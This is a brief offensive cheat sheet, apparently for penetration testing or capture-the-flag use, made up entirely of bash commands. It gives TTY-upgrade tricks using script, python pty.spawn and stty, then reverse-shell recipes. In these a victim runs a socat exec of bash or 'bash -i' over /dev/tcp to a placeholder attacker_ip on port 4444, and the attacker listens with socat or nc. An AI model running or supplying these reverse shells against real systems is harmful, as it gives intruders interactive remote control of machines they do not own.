```bash
script /dev/null -c bash
export TERM=xterm-256color
```
```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
^Z
stty raw -echo; fg
reset
export TERM=xterm-256color
```
# Socat
```bash
# attacker
socat file:`tty`,raw,echo=0 tcp-listen:4444
# victim (if socat is installed)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<attacker_ip>:4444
```
# /dev/tcp + bash
```bash
# victim
bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1
# attacker local
nc -lvnp 4444
```